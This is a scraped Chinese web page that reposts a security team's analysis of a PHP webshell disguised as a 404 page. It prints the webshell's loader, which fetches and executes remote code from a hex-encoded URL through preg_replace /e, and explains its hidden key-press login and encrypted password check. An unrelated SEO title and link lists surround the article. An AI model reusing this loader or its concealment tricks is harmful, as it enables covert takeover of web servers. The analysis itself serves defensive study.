当前位置: 首页 > news >正文

做网站公司宁波上市/关键词排名工具有哪些

做网站公司宁波上市,关键词排名工具有哪些,seo网站编辑是做什么的,做一元购网站 要多少钱近日,360网站卫士安全团队近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。Webshell代…

567d1e7550f8b.jpg

近日,360网站卫士安全团队近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。

Webshell代码如下:

error_reporting(0);

session_start();

header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))

$_SESSION['api']=substr(file_get_contents(

sprintf('%s?%s',pack("H*",

'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);

@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);

?>

关键看下面这句代码,

sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

这里执行之后其实是一张图片,解密出来的图片地址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85

然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,

echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",

'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));

?>

如图所示:

567d1b8bb521b.jpg

分析这段代码,发现这是一个伪装的404木马(这里实在是太猥琐了…把页面标题改成404 Not Found),其实整个webshell就一个class外加三个function,如下图:

567d1bb1153a8.jpg首先我先看一下它的前端html代码,其中有这么一段js程序

document.onkeydown = function(e) {

var theEvent = window.event || e;

var code = theEvent.keyCode || theEvent.which;

if (80 == code) {

$("login").style.display = "block"

}

}

这里它用document.onkeydown获取用户敲击键盘事件,当code等于80的时候显示login这个div,这里查询了一下keyCode的对照表,查到80对应p和P键

567d1bfc8453b.jpg

所以触发webshell登陆需要按p键(不按P键页面就是一个空白页,看不到登陆框),如图所示:

567d1c34c77ba.jpg

再回到服务端php代码中,可以看到程序用的是对称加密,并且将登陆密码作为加密key,代码如图所示:

567d1c60d89dd.jpg

再看init()的逻辑

567d1c8967508.jpg如图所示,先看这句代码

$true = @gzuncompress(gzuncompress(Crypt::decrypt(pack('H*', '789c63ac0bbec7b494f12cdb02f6dfac3f833731c

f093e163a892990793ebf0a9f1c6b18bb68983b3b47a022002a840c59′), $_POST['key'], true)));

根据这个解密逻辑我们可以推出,这里其实是将字符串true做了以下加密处理,

unpack('H*',Crypt::encrypt(gzcompress(gzcompress('true')), $_POST['key'] , true))

所以当输入正确密码的时候@gzuncompress返回字符串true,然后程序调用setcookie给客户端返回$_COOKIE['key'],然后值得提一下的是后面这个exit('{"status":"on"}'),这里它与前端代码联系很紧密,我们看前端有个callback函数,如下

function callback() {

var json = eval("(" + this.responseText + ")");

if (json.status=='on'){

window.location.reload();

return;

}

if (json.notice) {

$("notice").style.display = "block";

$("notice").innerHTML = json.notice;

sideOut();

}

}

这里执行exit('{"status":"on"}')会返回json串{"status":"on"},此时前端js代码classback()获取到此响应会执行window.location.reload()刷新,再次请求正好带上前面获取的cookie,然后执行判断COOKIE的逻辑,如图所示:

567d1d0603bc1.jpg

http://www.lbrq.cn/news/1267489.html

相关文章:

  • 上海网站排名优化价格/百度seo代理
  • 怎么制作简易网页/seo实战密码在线阅读
  • 网站建设分金手指专业十三/建设一个网站的具体步骤
  • 建设党建宣传网站 提升/知名的网络推广
  • 做网站定金交多少合适/网站设计方案模板
  • 软件测试三个月骗局/小红书笔记关键词排名优化
  • 掼蛋网站建设/友链价格
  • 有哪些网站做国外生意的/东莞做网站的公司有哪些
  • 基于漏斗模型网站关键路径分析/一键seo提交收录
  • 如何做商业网站推广/厦门百度代理
  • 新公司网站建设/软件培训机构排行榜
  • 怎么进入国外网站/百度分析
  • 做暧暧小视频网站/优化疫情防控 这些措施你应该知道
  • 微信上浏览自己做的网站/北京关键词优化平台
  • 自己做网站需要什么软件/企业网站建设公司
  • 网站视频开发平台/友情链接怎么连
  • 做阿拉伯语的网站/公司官网优化方案
  • facebook做网站推广/百度客户端下载安装
  • 诸暨网站制作/谷歌浏览器下载安装2021最新版
  • perl网站开发/友情链接交换网址大全
  • 互助平台网站建设/上海seo公司
  • 佛山新网站制作渠道/发布
  • 深圳正规网站建设服务/好的竞价账户托管外包
  • lnmp搭建wordpress/北京seo专业团队
  • 网站架构建设/泉州百度竞价开户
  • 教育培训机构网站建设/nba最新消息交易
  • 中国建设银行徐州分行网站/百度登陆页面
  • 低调赚大钱的灰色行业/江苏泰州seo网络优化推广
  • 做博彩网站的虚拟空间/优质的seo快速排名优化
  • wordpress中文 插件/吉林刷关键词排名优化软件
  • 设计原则和设计模式
  • 二叉树算法之【前序遍历】
  • 【Django】-4- 数据库存储和管理
  • 网页操作自动化解决方案:如何用Browser-Use+CPolar提升企业运营效率
  • Python科研数据可视化技术
  • WinForm之ListBox 控件